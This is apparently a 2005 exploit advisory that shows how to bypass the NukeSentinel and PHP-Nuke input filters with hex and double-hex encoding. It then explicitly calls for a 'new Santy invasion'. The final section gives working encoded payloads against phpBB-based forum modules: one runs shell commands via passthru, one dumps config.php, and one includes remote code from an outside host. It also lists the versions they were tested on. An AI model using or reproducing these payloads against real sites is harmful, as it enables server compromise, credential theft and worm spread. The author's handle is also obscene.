Title: NukeSentinel and PHP-Nuke security filters bypass
Author: FistFucker
Contact: FistFuXXer@gmx.de
Date: May 08, 2005
1. NukeSentinel security filters bypass:
===========================================
The "Santy worm protection" in NukeSentinel can be bypassed by using hex
encoded characters in GET requests. It's also possible to bypass other
filters, like the "SQL injection filter" by the same way. I've not
tested higher versions than 2.1.4 (2.2.1 is out), but feel free to try it
out with newer ones!
Will be filtered:
'modules.php?highlight=FistFucker'
Will be bypassed:
'modules.php?hi%67hlight=FistFucker'
Will be filtered:
'/**/UNION/**/SELECT/**/'
Will be bypassed:
'/%2A%2A/UNION/%2A%2A/SELECT/%2A%2A/'
Successfully tested against:
- NukeSentinel 2.1.3
- NukeSentinel 2.1.4
2. PHP-Nuke security filters bypass:
=======================================
PHP-Nuke filters some dangerous characters, like '(' followed by ')' in
GET requests. This can easily be bypassed with double hex encoded
characters. It should also work on many (or all?) PHP-Nuke based content
management systems, too.
Will be filtered:
'modules.php?FistFucker=()'
Will be bypassed:
'modules.php?FistFucker=%2528%2529'
Successfully tested against:
- PHP-Nuke <= 7.7
- PHPNUKE-CLAN <= 2.1.0
3. Let's start a new Santy invasion:
=======================================
Now, with this knowledge, we can inject the famous "Santy worm exploit"
into a PHP-Nuke and other content management systems with a module based
on phpBB <= 2.0.11! Note: it appends ')\b#i' to our string, so we must
use include URLs like: 'http://waraxe.us/?' and not 'http://waraxe.us/'.
Append it after: 'modules.php?&name=Forums&file=viewtopic&t=1'
Local command execution:
'&FistFucker=ls&%68%69%67%68%6C%69%67%68%74=%2527%252Epassthru%2528%24%48
%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%46%69%73%74%46%75%63%6B%65%72%5D
%2529%252E%2527'
Local file output (config.php):
'&FistFucker=config.php&%68%69%67%68%6C%69%67%68%74=%2527%252Ereadfile
%2528%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%46%69%73%74%46%75%63
%6B%65%72%5D%2529%252E%2527'
Remote code execution:
'&FistFucker=http://www.waraxe.us/%3F&%68%69%67%68%6C%69%67%68%74=%2527
%252Einclude_once%2528%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%46%69
%73%74%46%75%63%6B%65%72%5D%2529%252E%2527'
Successfully tested against:
- phpBB 2.10 port
- phpBB 2.10 port (with NukeSentinel 2.1.3)
- phpBB 2.10 port (with NukeSentinel 2.1.4)
- phpBB component v1.2.4 RC1
- PNphpBB2 1.2d
